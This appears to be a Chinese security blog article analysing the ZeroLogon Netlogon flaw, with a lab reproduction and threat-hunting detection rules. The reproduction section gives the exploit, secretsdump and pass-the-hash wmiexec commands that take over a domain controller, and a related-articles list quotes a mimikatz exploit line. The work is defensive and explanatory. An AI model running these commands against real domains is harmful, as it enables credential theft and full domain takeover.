ZeroLogon(CVE-2020-1472) 分析與狩獵

2021-12-10 湛盧工作室

    2020年9月11日,安全公司Secura發布了公告,披露了Microsoft在2020年8月修補的漏洞細節(CVE-2020-1472)。該漏洞也稱為「Zerologon」,CVSS評分為10.0,號稱3秒擼域控,危害嚴重。攻擊者在通過NetLogon(MS-NRPC)協議與AD域控建立安全通道時,可利用該漏洞將AD域控的計算機帳號密碼置為空,從而控制域控伺服器。本文將從「Zerologon」漏洞原理、漏洞復現、威脅狩獵三個維度對「Zerologon」進行分析。

0x01 漏洞原理

     Netlogon遠程協議是一個遠程過程調用(RPC)接口,用於基於域的網絡上的用戶和計算機身份驗證,其協議通訊流程如下:

    根據上述流程,攻擊者可控的因素有client challenge(在「Zerologon」中,攻擊者會將client challenge設置為全0),server challenge在每一輪認證過程中都會變化,secret對應於用戶密碼的hash,Encrypt的過程採用的是AES-CFB8,其運算過程如下:

    AES-CFB8安全性取決於隨機選擇的IV。但在Netlogon RPC中,作為ComputeNetlogonCredential檢查的一部分,IV被錯誤的設置為0。如果IV和client challenge為全0的話,那麼整個AES運算過程變成:

    如此一來,通過AES-CFB8加密模式有1/256 概率用8位元組全0 明文得到8位元組全0密文。

    通過上述碰撞方法,攻擊者可以向域發起Netlogon 計算機帳戶認證請求, 使用8位元組全0 client challenge 不斷嘗試得到一個正確的8位元組全0 client credential 通過認證,再通過相關調用完成對域控密碼的修改。

0x02 漏洞復現

實驗環境:

域控:Winserver2012 R2(x64)IP:10.10.10.10hostname:DC域:de1ay.com

攻擊機:ubuntu1604(x64)IP:10.10.10.111

    運行exp腳本,成功將AD域控的機器帳戶DC的密碼置換成空:

python3 cve-2020-1472-exploit.py  DC 10.10.10.10

     

    此時域控伺服器帳戶密碼為空,同等於已知密碼,可以導出域內所有用戶憑據:

python3 secretsdump.py de1ay/DC\$@10.10.10.10 -no-pass

   

    導出hash後,發現DC的hash為31d6cfe0d16ae931b73c59d7e0c089c0,也就是空密碼,同時獲得了域管administrator的hash,利用administrator的hash拿下域控:

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24 Administrator@10.10.10.10

0x03 Threat Hunting Rules

    根據上述的分析和驗證,針對「Zerologon」這樣一個全新的威脅,我們已經清楚了攻擊者相應技戰術TTP(MITRE ATT&CK:TA0004,T1078.002),假設攻擊者已經潛伏在企業內網中,並且正在嘗試利用「Zerologon」漏洞攻擊域控,在基於上述的假設場景的驅動下,我們該如何通過威脅狩獵(Threat Hunting)的方式主動搜尋這個威脅的相關特定信息,從而發現潛伏在企業中的攻擊者?

   思路一:通過AD系統審計日誌

    在實驗室環境下,如果域控伺服器沒有打補丁,攻擊者利用「Zerologon」漏洞攻擊成功後會有event ID 4742:

    event ID 4742表示計算機帳戶已更改,我們注意到帳戶名是「ANONYMOUS LOGON」,受影響的帳戶名稱是域控制器計算機帳戶(DC$)。所以event ID 4742可以用來發現疑似「Zerologon」漏洞攻擊行為,但僅僅通過event ID 4742還不夠,因為正常的帳戶更改也會產生event ID 4742,所以會產生一定的誤報。由於攻擊者需要通過netlogon RPC協議進行多次嘗試,還會產生event ID 5805:

    所以基於域控的系統審計日誌,我們的Threat Hunting Rule可以這麼寫:

    此外,在8月份的補丁中,Microsoft添加了五個新的event ID,以通知易受攻擊的Netlogon連接:

允許存在漏洞的Netlogon安全通道連接時,將生成event ID 5829

拒絕易受攻擊的Netlogon連接時,將觸發event ID 5827和5828

允許存在漏洞的Netlogon連接時觸發的event ID 5830和5831

    如果域控已經安裝了補丁,還可以在SIEM中搜索以上5個event ID進行威脅狩獵。

    思路二:通過網絡流量

    根據上面的分析,攻擊者需要使用8位元組全0 client challenge 不斷嘗試得到一個正確的8位元組全0 client credential 通過認證所以網絡中將會有大量的netlogon協議信息:

    我們可以使用全流量工具過濾出netlogon協議信息(「protocols == dcerpc」),如果短時間內出現大量的NetrServerAuthenticate3請求,並且client credential全為0,這樣的行為是比較異常的。可以參考SOC Prime Team利用zeek編寫的Threat Hunting Rule:

title: Possible CVE-2020-1472 (zerologon)description: CVE-2020-1472 (Netlogon Elevation of Privilege Vulnerability) may create thousands of NetrServerReqChallenge & NetrServerAuthenticate3 requests in a short amount of time.author: SOC Prime Teamdate: 2020/09/11references:- https://github.com/SecuraBV/CVE-2020-1472tags:- attack.lateral_movement- attack.T1210logsource:  product: zeek  service: dce_rpcdetection:  selection:    endpoint: 'netlogon'    operation: 'NetrServerReqChallenge'  selection2:    endpoint: 'netlogon'    operation: 'NetrServerAuthenticate3'  timeframe: 1m  condition: selection or selection2 | count() by src_ip > 100falsepositives:- 'unknown'level: high

    最後,在實驗室環境中,由於「Zerologon」漏洞利用會將域控伺服器的密碼置為空,會造成域內服務的一些異常,所以這個漏洞不但會對域控的安全性造成威脅,實際的攻擊利用也會影響AD域控的可用性,因此還是及時打補丁吧。

參考資料:

https://www.cynet.com/zerologon/

https://awakesecurity.com/blog/network-threat-hunting-for-zerologon-exploits-cve-2020-1472/

https://blog.zsec.uk/zerologon-attacking-defending/

https://medium.com/@sieutruc/detection-methods-for-the-cve-2020-1472-zerologon-by-using-the-existing-windows-log-9761ee69d9fc

相關焦點

  • 技術乾貨 | CVE-2020-1472 ZeroLogon漏洞分析利用
    歡迎各位添加微信號:asj-jacky加入安世加 交流群 和大佬們一起交流安全技術0x01漏洞簡介CVE-2020-1472是一個windows域控中嚴重的遠程權限提升漏洞,此漏洞是微軟8月份發布安全公告披露的緊急漏洞,CVSS評分為10分。
  • ZeroLogon(CVE-2020-1472) 漏洞的攻擊與防禦策略(上)
    什麼是ZeroLogon?Zerologon漏洞也稱為CVE-2020-1472,它影響MS-NRPC所使用的加密身份驗證方案(AES-CFB8),該方案具有多種用途,但最廣為人知的原因是更改計算機帳戶密碼的能力,這可能導致Windows被攻擊。該漏洞影響重大,風險評分達10.0滿分。微軟已在8月Patch Tuesday安全更新中將之修復。
  • ZeroLogon(CVE-2020-1472) 漏洞的攻擊與防禦策略(下)
    啟動選擇的PoC,在此示例中,我將使用mimikatz:lsadump::zerologon/server:stream-dc.purplehaze.defense /account:stream-dc$ /exploit
  • CVE-2020-1472漏洞實戰 深度剖析
    -1472是繼MS17010之後一個比較好用的內網提權漏洞,影響Windows Server 2008R 2至Windows Server 2019的多個版本系統,只要攻擊者能訪問到目標域控井且知道域控計算機名即可利用該漏洞.該漏洞不要求當前計算機在域內,也不要求當前計算機作業系統為windows,該漏洞的穩定利用方式為重置目標域控的密碼, 然後利用城控憑證進行Dc sync獲取域管權限後修復域控密碼
  • ZeroLogon漏洞(CVE-2020-1472)防禦性指南
    關於Zerologon(CVE-2020-1472)2020年09月11日,安全研究專家Tom Tomvvort發布了一篇安全博文
  • CVE-2020-1472 NetLogon特權提升漏洞深入分析
    近日,大連網絡安全信息通報機制合作單位新華三集團提醒,微軟發布補丁修復了NetLogon權限提升漏洞(CVE-2020-1472,Zerologon),漏洞等級為嚴重級別 ,CVSS漏洞評分10分。漏洞背景2020年8月13日,微軟發布補丁修復了NetLogon權限提升漏洞(CVE-2020-1472,Zerologon),漏洞等級為嚴重級別 ,CVSS漏洞評分10分。2020年9月,國外安全廠商公開發布了NetLogon權限提升漏洞的驗證腳本和詳細的技術分析,同時該漏洞的利用工具也在github上公開,導致該漏洞被廣泛利用的風險大大提升。
  • 微軟NetLogon權限提升 CVE-2020-1472 漏洞復現
    此漏洞CVE編號CVE-2020-1472, CVSS 評分:10.0。由 Secura 公司的 Tom Tervoort 發現提交並命名為 ZeroLogon攻擊者使用 Netlogon 遠程協議 (MS-NRPC) 建立與域控制器連接的 Netlogon 安全通道時,存在特權提升漏洞。
  • CVE-2020-1472: NetLogon特權提升漏洞分析
    下載相關文件:git clone https://github.com/De4dCr0w/Vulnerability-analyze.gita、安裝依賴:pip3 install -r requirements.txtpip3 install impacketb、測試是否存在漏洞:python3 zerologon_tester.py
  • NetLogon 域內提權漏洞(CVE-2020-1472)復現過程
    大家好,這裡是 滲透攻擊紅隊 的第 46 篇文章,本公眾號會記錄一些紅隊攻擊的筆記(由淺到深),不定時更新CVE-2020-1472是一個windows域控中嚴重的遠程權限提升漏洞,攻擊者通過NetLogon,建立與域控間易受攻擊的安全通道時
  • 【漏洞預警】(CVE-2020-1472)被黑客廣泛應用
    2020年8月12日,阿里雲應急響應中心監測到,微軟發布了補丁來修復NetLogon特權升級漏洞(CVE-2020-1472),CVSS評分為10
  • CVE-2020-1472 Netlogon權限提升漏洞分析
    漏洞利用三、漏洞分析       1.基本信息       2. 背景知識       3. 詳細分析          1)2種credential的算法          2)存在漏洞的AES-CFB8       4.
  • CVE-2020-1472漏洞分析
    Netlogon 特權提升漏洞(CVE-2020-1472)
  • Netlogon 特權提升漏洞(CVE-2020-1472)原理分析與驗證
    CVE-2020-1472是一個windows域控中嚴重的遠程權限提升漏洞。它是因為微軟在Netlogon協議中沒有正確使用加密算法而導致的漏洞。由於微軟在進行AES加密運算過程中,使用了AES-CFB8模式並且錯誤的將IV設置為全零,這使得攻擊者在明文(client challenge)、IV等要素可控的情況下,存在較高概率使得產生的密文為全零。下面就整個攻擊過程做一個簡要分析。
  • 今日威脅情報2020/10/1-9(第309期)
    -1472發起的攻擊活動。https://techcommunity.microsoft.com/t5/microsoft-365-defender/zerologon-is-now-detected-by-microsoft-defender-for-identity-cve
  • 漏洞風險提示|Netlogon 特權提升漏洞(CVE-2020-1472)
    Netlogon 特權提升漏洞(CVE-2020-1472)NetLogon 遠程協議是一種在 Windows 域控上使用的 RPC 接口,被用於各種與用戶和機器認證相關的任務。此漏洞CVE編號CVE-2020-1472, CVSS 評分:10.0。由 Secura 公司的 Tom Tervoort 發現提交並命名為 ZeroLogon。在9月11日,漏洞發現者在 GitHub 上公開了漏洞測試工具並且放出了漏洞白皮書。
  • CVE-2020-1472 NetLogon 權限提升漏洞研究
    CVE-2020-1472 NetLogon 權限提升漏洞是微軟8月份發布安全公告披露的緊急漏洞,CVSS漏洞評分10分,漏洞利用後果嚴重,未經身份認證的攻擊者可通過使用 Netlogon 遠程協議(MS-NRPC)連接域控制器來利用此漏洞。成功利用此漏洞的攻擊者可獲得域管理員訪問權限。
  • 一年之後,重新回顧Zerologon漏洞的危害與教訓
    漏洞CVE-2020-1472,也被行業稱為「Zerologon」,在2020年8月11日(周二)首次發布時的CVSS 評分為8.8。對於特權提升漏洞來說,這個得分很高,但還不足以使其成為全球企業安全管理者的最高優先級事項。但當天晚些時候,微軟修改了它的更新,並將其的CVSS分數定為10.0。
  • CVE-2020-XXXX,大分享(一)!
    ://github.com/random-robbie/cve-2020-0688)- [Jumbo-WJB/CVE-2020-0688](https://github.com/Jumbo-WJB/CVE-2020-0688)- [Ridter/cve-2020-0688](https://github.com/Ridter/cve-2020-0688)-